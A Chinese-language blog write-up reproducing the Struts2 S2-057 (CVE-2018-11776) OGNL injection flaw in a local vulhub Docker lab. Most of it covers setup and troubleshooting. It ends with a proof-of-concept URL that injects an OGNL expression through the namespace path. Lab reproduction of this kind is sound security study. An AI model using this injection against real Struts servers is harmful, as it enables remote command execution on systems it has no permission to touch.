0%

Struts2 - S2-057复现 (CVE-2018-11776)

前言

Struts2又出漏洞了,上一波的045好用到不行,复现参考https://github.com/jas502n/St2-057

写这篇文章时,vulhub还没有057的漏洞环境

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16

看这个条件就知道没那么好利用

阅读本篇文章能了解到:vulhub, docker

0x01 vulhub安装

踩坑: https://github.com/vulhub/vulhub/

CentOS 7 安装各种不成功,别小看Installation简简单单4条命令,折腾了一天时间,从CentOSubuntu16.04

总结一下坑点(非root下安装)

安装pip

1
curl -s https://bootstrap.pypa.io/get-pip.py | python3

直接使用安装命令一直 提示 --user错误,尝试sudopython3 后加--user、还是不行,各种尝试,不行

error-getPip

解决方案:

1
2
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py --user

安装最新版docker

1
curl -s https://get.docker.com/ | sh

简单一条命令安装,怎么都不行,就是安装不上,还无报错提示,-s 安静模式去掉,看到访问超时,估计又被q了
error-getDocker

安装proxychains+shadowsocks
Ubuntu 16.04 LTS shadowsocks+proxychains 安装及设置

解决方案:

1
2
3
4
5
6
proxychains wget https://get.docker.com
mv index.html getdocker.sh
sudo proxychains ./getdocker.sh

toor@toor-virtual-machine:~$ docker -v
Docker version 18.06.1-ce, build e68fc7a

行了,两条命令终于搞定了,以为万事大吉,其实踩坑才刚刚开始

启动docker服务

1
sudo service docker start

error-compose
你懂得,不会那么顺利,继续报错,网上各种解决方法 Couldn’t connect to Docker daemon at http+unix:// 都试了一遍还是没法启动

怎么办,有点抓狂了,折腾一下午了

仔细看README.mdNotice

为防止出现权限错误,最好使用root用户执行docker和docker-compose命令

尝试sudo 再来一遍,一样无法启动

重头开始,

`sudo su`进入`root`,以`root`权限重新来过

纳尼?启动正常了,行吧,花一天时间只为踩坑

安装compose

1
pip install docker-compose

安装git

1
apt install git

拉取项目

1
git clone https://github.com/vulhub/vulhub.git

0x02 复现

启动环境

struts不用编译,直接启动

1
2
cd vulhub/struts2/s2-048
docker-compose up -d

搭建s2-057漏洞环境

1
2
3
4
5
# 查看容器id
docker ps -a

# 在容器cf341620ead4中开启一个交互模式的终端
docker exec -i -t cf341620ead4 /bin/bash

dockerPs

笔记
1
2
3
4
docker exec :在运行的容器中执行命令
-d :分离模式: 在后台运行
-i :即使没有附加也保持STDIN 打开
-t :分配一个伪终端

Struts 2.5.16存在s2-057漏洞,下载Struts 2.5.16

1
2
3
4
5
mkdir /usr/local/tomcat/webapps/test
cd /usr/local/tomcat/webapps/test
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip
apt-get install unzip -y
cp struts-2.5.16/apps/struts2-showcase.war /usr/local/tomcat/webapps/

修改配置文件

1
locate struts-actionchaining.xml

实际上locate命令在此docker容器中不存在,改用find查找

1
2
3
4
5
toor@toor-virtual-machine:~$ find / -name struts-actionchaining.xml
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml
..
..

修改这个两个文件

1
2
3
vim /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
bash: vim: command not found
apt install vim

error-vim

经查,需要先同步源索引,再安装

1
2
apt-get update
apt install vim

<struts></struts>整个标签替换为

1
2
3
4
5
6
7
8
9
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

重启服务

1
2
3
4
5
6
cd /usr/local/tomcat/bin/
./shutdown.sh
exit

cd vulhub/struts2/s2-048
docker-compose up -d

0x03 验证

1
http://192.168.1.59:8080/struts2-showcase/${(444+333)}/actionChain1.action

POC

当前这个版本计算器弹不出,能弹出的版本就不测了,参考链接里有

0x04 参考链接

http://www.freebuf.com/articles/system/180142.html
https://mp.weixin.qq.com/s?__biz=MzI2MTAxOTg1OQ==&mid=2650049324&idx=1&sn=e5660c5720f17f0752e39ec0e533632c&chksm=f260ea90c5176386a9346853df298cf926cd00f519bfde42c20d229444f6bd8552ca6b65449e&mpshare=1&scene=23&srcid=0713GGhQHb4IUVNVYjUVZ5Oy#rd
https://github.com/jas502n/St2-057